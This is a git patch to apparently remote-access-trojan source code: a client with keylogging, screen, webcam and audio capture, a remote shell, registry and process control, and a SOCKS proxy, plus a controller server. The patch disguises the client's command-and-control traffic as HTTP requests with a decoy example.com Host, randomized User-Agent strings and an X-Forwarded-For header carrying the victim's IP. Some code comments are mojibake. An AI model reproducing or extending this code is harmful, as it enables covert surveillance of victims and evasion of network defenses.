From 303b5ef824c6465b638d478b2876daab21d648dd Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 10 Aug 2025 17:15:32 +0800 Subject: [PATCH] fix: #182 First command using HTTP protocol --- client/AudioManager.cpp | 3 +- client/ClientDll.cpp | 6 ++- client/FileManager.cpp | 4 +- client/IOCPClient.cpp | 34 ++++++------- client/IOCPClient.h | 21 ++++++-- client/KernelManager.cpp | 35 ++++++------- client/KernelManager.h | 4 +- client/KeyboardManager.cpp | 4 +- client/RegisterManager.cpp | 3 +- client/ScreenManager.cpp | 5 +- client/ServicesManager.cpp | 4 +- client/ShellManager.cpp | 5 +- client/StdAfx.h | 4 -- client/SystemManager.cpp | 9 ++-- client/TalkManager.cpp | 5 +- client/VideoManager.cpp | 5 +- client/proxy/ProxyManager.cpp | 10 +--- client/proxy/ProxyManager.h | 1 - common/commands.h | 3 +- common/mask.h | 16 ++++-- server/2015Remote/2015RemoteDlg.cpp | 65 ++++++++++++------------- server/2015Remote/Buffer.cpp | 7 +-- server/2015Remote/Buffer.h | 2 +- server/2015Remote/IOCPServer.cpp | 4 -- server/2015Remote/IOCPServer.h | 17 +------ server/2015Remote/Server.h | 20 +++++++- server/2015Remote/proxy/ProxyMapDlg.cpp | 6 +-- server/2015Remote/stdafx.h | 4 -- 28 files changed, 154 insertions(+), 152 deletions(-) diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index caf0fbc..7605f9e 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -25,7 +25,8 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag } BYTE bToken = TOKEN_AUDIO_START; - m_ClientObject->Send2Server((char*)&bToken, 1); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); WaitForDialogOpen(); //等待对话框打开 szPacket = NULL; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index d5aa1be..a0b7c04 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -495,8 +495,10 @@ DWORD WINAPI StartClient(LPVOID lParam) // The main ClientApp. settings.SetServer(list[0].c_str(), settings.ServerPort()); } + iniFile cfg(CLIENT_PATH); + std::string pubIP = cfg.GetStr("settings", "public_ip", ""); State& bExit(app.g_bExit); - IOCPClient *ClientObject = NewNetClient(&settings, bExit); + IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP); if (nullptr == ClientObject) return -1; CKernelManager* Manager = nullptr; @@ -510,7 +512,7 @@ DWORD WINAPI StartClient(LPVOID lParam) } app.SetThreadRun(TRUE); - ThreadInfo* kb = CreateKB(&settings, bExit); + ThreadInfo* kb = CreateKB(&settings, bExit, pubIP); while (app.m_bIsRunning(&app)) { ULONGLONG dwTickCount = GetTickCount64(); diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 012ae0b..fca8e61 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -294,8 +294,8 @@ UINT CFileManager::SendDriveList() dwOffset += 10 + nTypeNameLen + nFileSystemLen; } - - return Send((LPBYTE)DriveList, dwOffset); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask); } diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index a70b06b..3700f32 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -23,14 +23,6 @@ inline int WSAGetLastError() { return -1; } #define Z_FAILED(p) (Z_OK != (p)) #define Z_SUCCESS(p) (!Z_FAILED(p)) #else -#if USING_LZ4 -#include "lz4/lz4.h" -#pragma comment(lib, "lz4/lz4.lib") -#define Z_FAILED(p) (0 == (p)) -#define Z_SUCCESS(p) (!Z_FAILED(p)) -#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen)) -#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen)) -#else #include "zstd/zstd.h" #ifdef _WIN64 #pragma comment(lib, "zstd/zstd_x64.lib") @@ -48,7 +40,6 @@ inline int WSAGetLastError() { return -1; } #define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen) #endif #endif -#endif ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -96,12 +87,14 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) } -IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder) : g_bExit(bExit) +IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder, + const std::string& pubIP) : g_bExit(bExit) { + m_sLocPublicIP = pubIP; m_ServerAddr = {}; m_nHostPort = 0; m_Manager = NULL; - m_masker = mask ? new HttpMask("example.com") : new PkgMask(); + m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask(); auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); m_EncoderType = encoder; m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); @@ -379,7 +372,9 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, // UnMask char* src = (char*)m_CompressedBuffer->GetBuffer(); ULONG srcSize = m_CompressedBuffer->GetBufferLength(); - ULONG ret = m_masker->UnMask(src, srcSize); + PkgMaskType maskType = MaskTypeUnknown; + ULONG ret = TryUnMask(src, srcSize, maskType); + // ULONG ret = m_masker->UnMask(src, srcSize); m_CompressedBuffer->Skip(ret); if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH) break; @@ -449,7 +444,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, // 向server发送数据,压缩操作比较耗时。 // 关闭压缩开关时,SendWithSplit比较耗时。 -BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello +BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask) //Hello { AUTO_TICK(50); assert (ulOriginalLength > 0); @@ -462,8 +457,6 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //destLen = 448 #if USING_ZLIB unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; -#elif USING_LZ4 - unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength); #else unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength); #endif @@ -495,20 +488,23 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) if (CompressedBuffer != buf) delete [] CompressedBuffer; // 分块发送 - return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd); + return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask); } } // 5 2 // 2 2 1 -BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd) +BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask) { if (src == nullptr || srcSize == 0 || ulSplitLength == 0) return FALSE; // Mask char* szBuffer = nullptr; ULONG ulLength = 0; - m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd); - + (mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) : + m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd); + if(szBuffer != src && srcSize > ulSplitLength){ + Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize); + } AUTO_TICK(25); bool isFail = false; int iReturn = 0; //真正发送了多少 diff --git a/client/IOCPClient.h b/client/IOCPClient.h index b23019b..cd127a0 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -111,7 +111,8 @@ typedef BOOL(*TrailCheck)(void); class IOCPClient { public: - IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0); + IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0, + const std::string&pubIP=""); virtual ~IOCPClient(); int SendLoginInfo(const LOGIN_INFOR& logInfo) { @@ -122,8 +123,17 @@ public: } virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort); - BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) { - return OnServerSending(szBuffer, ulOriginalLength); + std::string GetClientIP() const { + return m_sLocPublicIP; + } + + std::map GetClientIPHeader() const { + return m_sLocPublicIP.empty() ? std::map{} : + std::map{ {"X-Forwarded-For", m_sLocPublicIP} }; + } + + BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL) { + return OnServerSending(szBuffer, ulOriginalLength, mask); } void SetServerAddress(const char* szServerIP, unsigned short uPort) { @@ -162,10 +172,10 @@ protected: virtual int SendTo(const char* buf, int len, int flags) { return ::send(m_sClientSocket, buf, len, flags); } - BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); + BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask); static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength); - BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd); + BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask); protected: sockaddr_in m_ServerAddr; @@ -190,4 +200,5 @@ protected: bool m_exit_while_disconnect; PkgMask* m_masker; BOOL m_EncoderType; + std::string m_sLocPublicIP; }; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index b1c010d..54dd2cf 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -17,16 +17,16 @@ #include "IOCPKCPClient.h" // UDP 鍗忚浠呰兘閽堝灏忓寘鏁版嵁锛屼笖鏁版嵁娌℃湁鏃跺簭鍏宠仈 -IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { +IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) { if (conn->protoType == PROTO_HTTPS) return NULL; int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType; if (!conn->IsVerified() || type == PROTO_TCP) - return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType()); + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType(), publicIP); if (type == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); if (type == PROTO_HTTP || type == PROTO_HTTPS) - return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType()); + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType(), publicIP); if (type == PROTO_KCP) { return new IOCPKCPClient(bExit, exit_while_disconnect); } @@ -34,10 +34,10 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di return NULL; } -ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { +ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) { static ThreadInfo tKeyboard; tKeyboard.run = FOREVER_RUN; - tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType()); + tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType(), publicIP); tKeyboard.conn = conn; tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); return &tKeyboard; @@ -377,6 +377,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_hThread[m_ulThreadCount].p = nullptr; m_hThread[m_ulThreadCount].conn = m_conn; } + std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { @@ -478,7 +479,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } case COMMAND_PROXY: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -536,7 +537,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (m_hKeyboard) { CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); } else { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; } break; @@ -544,7 +545,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_TALK: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; @@ -552,21 +553,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SHELL: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: //杩滅▼杩涚▼绠$悊 { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: //杩滅▼绐楀彛绠$悊 { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -595,7 +596,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) memcpy(user->buffer, szBuffer + 1, ulLength - 1); if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; } - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; @@ -603,7 +604,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_LIST_DRIVE : { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -612,28 +613,28 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { static bool hasCamera = WebCamIsExist(); if (!hasCamera) break; - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } diff --git a/client/KernelManager.h b/client/KernelManager.h index a3f4c44..66c39d0 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -21,9 +21,9 @@ #include "LoginServer.h" // 根据配置决定采用什么通讯协议 -IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false); +IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false); -ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit); +ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP); class ActivityWindow { public: diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 8818d19..51cce10 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -77,8 +77,8 @@ int CKeyboardManager1::sendStartKeyBoard() BYTE bToken[2]; bToken[0] = TOKEN_KEYBOARD_START; bToken[1] = (BYTE)m_bIsOfflineRecord; - - return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken)); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask); } diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp index 9e6a6e0..93b2def 100644 --- a/client/RegisterManager.cpp +++ b/client/RegisterManager.cpp @@ -13,7 +13,8 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { BYTE bToken=TOKEN_REGEDIT; - m_ClientObject->Send2Server((char*)&bToken, 1); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); } CRegisterManager::~CRegisterManager() diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 0b1cc94..2856179 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -205,8 +205,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) This->SendFirstScreen(); #if USING_ZLIB const int fps = 8;// 帧率 -#elif USING_LZ4 - const int fps = 8;// 帧率 #else const int fps = 8;// 帧率 #endif @@ -268,7 +266,8 @@ VOID CScreenManager::SendBitMapInfo() szBuffer[0] = TOKEN_BITMAPINFO; //这里将bmp位图结构发送出去 memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); - m_ClientObject->Send2Server((char*)szBuffer, ulLength); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, ulLength, &mask); VirtualFree(szBuffer, 0, MEM_RELEASE); } diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp index b1becd3..deaf6c0 100644 --- a/client/ServicesManager.cpp +++ b/client/ServicesManager.cpp @@ -25,8 +25,8 @@ VOID CServicesManager::SendServicesList() LPBYTE szBuffer = GetServicesList(); if (szBuffer == NULL) return; - - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); LocalFree(szBuffer); } diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index b40450f..d51fb5f 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -96,8 +96,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag m_hShellProcessHandle = pi.hProcess; //保存Cmd进程的进程句柄和主线程句柄 m_hShellThreadHandle = pi.hThread; - BYTE bToken = TOKEN_SHELL_START; //包含头文件 Common.h - m_ClientObject->Send2Server((char*)&bToken, 1); + BYTE bToken = TOKEN_SHELL_START; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); WaitForDialogOpen(); diff --git a/client/StdAfx.h b/client/StdAfx.h index e4f4782..9c4b678 100644 --- a/client/StdAfx.h +++ b/client/StdAfx.h @@ -10,13 +10,9 @@ #define USING_ZLIB 0 #if !USING_ZLIB -// 是否使用LZ4 -#define USING_LZ4 0 -#if !USING_LZ4 #define USING_ZSTD 1 #define USING_CTX 1 -#endif #endif diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 6254cdd..2799136 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -38,8 +38,9 @@ VOID CSystemManager::SendProcessList() { LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据 if (szBuffer == NULL) - return; - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); + return; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); LocalFree(szBuffer); szBuffer = NULL; @@ -50,8 +51,8 @@ void CSystemManager::SendWindowsList() LPBYTE szBuffer = GetWindowsList(); //得到窗口列表的数据 if (szBuffer == NULL) return; - - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //向主控端发送得到的缓冲区一会就返回了 + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); LocalFree(szBuffer); } diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index 52f18e5..b543d53 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -26,8 +26,9 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager m_hInstance = HINSTANCE(user); g_Event = 0; memset(g_Buffer, 0, sizeof(g_Buffer)); - BYTE bToken = TOKEN_TALK_START; - m_ClientObject->Send2Server((char*)&bToken, 1); + BYTE bToken = TOKEN_TALK_START; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); WaitForDialogOpen(); Mprintf("Talk 构造\n"); } diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 53fcd74..a03ba41 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -43,8 +43,6 @@ DWORD CVideoManager::WorkThread(LPVOID lParam) This->WaitForDialogOpen(); #if USING_ZLIB const int fps = 8;// 帧率 -#elif USING_LZ4 - const int fps = 8;// 帧率 #else const int fps = 8;// 帧率 #endif @@ -103,7 +101,8 @@ void CVideoManager::SendBitMapInfor() BYTE szBuffer[dwBytesLength + 3] = { 0 }; szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); - m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask); } BOOL CVideoManager::SendNextScreen() diff --git a/client/proxy/ProxyManager.cpp b/client/proxy/ProxyManager.cpp index 4b1b2a2..90b860d 100644 --- a/client/proxy/ProxyManager.cpp +++ b/client/proxy/ProxyManager.cpp @@ -18,7 +18,8 @@ CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager m_nSend = 0; Threads = 0; BYTE cmd = COMMAND_PROXY; - Send(&cmd, 1); + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + pClient->Send2Server((char*)&cmd, 1, &mask); Mprintf("CProxyManager create: %p\n", this); } @@ -43,13 +44,6 @@ CProxyManager::~CProxyManager() Mprintf("CProxyManager destroy: %p\n", this); } -int CProxyManager::Send(LPBYTE lpData, UINT nSize) -{ - if (!m_bUse) return 0; - int ret = CManager::Send(lpData, nSize); - return ret; -} - void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port) { lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT; diff --git a/client/proxy/ProxyManager.h b/client/proxy/ProxyManager.h index 2281669..e282cc0 100644 --- a/client/proxy/ProxyManager.h +++ b/client/proxy/ProxyManager.h @@ -9,7 +9,6 @@ public: CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr); virtual ~CProxyManager(); virtual void OnReceive(PBYTE lpBuffer, ULONG nSize); - int Send(LPBYTE lpData, UINT nSize); void Disconnect(DWORD index); void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port); static DWORD __stdcall SocksThread(LPVOID lparam); diff --git a/common/commands.h b/common/commands.h index 7987928..da71801 100644 --- a/common/commands.h +++ b/common/commands.h @@ -832,7 +832,8 @@ typedef struct MasterSettings { int Is64Bit; // 主控是否64位 char MasterVersion[12]; // 主控版本 int DetectSoftware; // 检测软件 - char Reserved[476]; // 预留 + int UsingFRPProxy; // 是否使用FRP代理 + char Reserved[472]; // 预留 }MasterSettings; // 100字节: 运行类型 + 大小 + 调用方式 + DLL名称 diff --git a/common/mask.h b/common/mask.h index 7ad12b3..f317ded 100644 --- a/common/mask.h +++ b/common/mask.h @@ -11,6 +11,8 @@ enum PkgMaskType { MaskTypeNum, }; +#define DEFAULT_HOST "example.com" + inline ULONG UnMaskHttp(char* src, ULONG srcSize) { const char* header_end_mark = "\r\n\r\n"; const ULONG mark_len = 4; @@ -49,7 +51,7 @@ public: virtual ULONG UnMask(char* src, ULONG srcSize) { return 0; } - virtual void SetServer(const char* addr) {} + virtual PkgMask* SetServer(const std::string& addr) { return this; } virtual PkgMaskType GetMaskType() const { return MaskTypeNone; } @@ -65,13 +67,17 @@ public: * @brief 鏋勯犲嚱鏁 * @param host HTTP Host 澶村瓧娈 */ - explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) { + explicit HttpMask(const std::string& host, const std::map& headers = {}) : + product_(GenerateRandomString()), host_(host) { // 鍒濆鍖栭殢鏈烘暟鐢熸垚鍣 srand(static_cast(time(nullptr))); char buf[32]; sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10); version_ = buf; user_agent_ = GetEnhancedSystemUA(product_, version_); + for (std::map::const_iterator it = headers.begin(); it != headers.end(); ++it) { + headers_ += it->first + ": " + it->second + "\r\n"; + } } /** @@ -89,7 +95,7 @@ public: "Host: " + host_ + "\r\n" "User-Agent: " + user_agent_ + "\r\n" "Content-Type: application/octet-stream\r\n" - "Content-Length: " + std::to_string(srcSize) + "\r\n" + "Content-Length: " + std::to_string(srcSize) + "\r\n" + headers_ + "Connection: keep-alive\r\n" "\r\n"; // 绌鸿鍒嗛殧澶撮儴鍜 Body @@ -112,8 +118,9 @@ public: return UnMaskHttp(src, srcSize); } - void SetServer(const char* addr) { + PkgMask* SetServer(const std::string& addr) override { host_ = addr; + return this; } private: static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) { @@ -144,6 +151,7 @@ private: std::string product_; // 浜у搧鍚嶇О std::string version_; // 浜у搧鐗堟湰 std::string user_agent_;// 浠g悊鍚嶇О + std::string headers_; // 鑷畾涔夎姹傚ご /** 鐢熸垚闅忔満 URL 璺緞 */ std::string GenerateRandomString(int size = 8) const { diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index fd44424..3b48278 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1009,7 +1009,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() } int m = 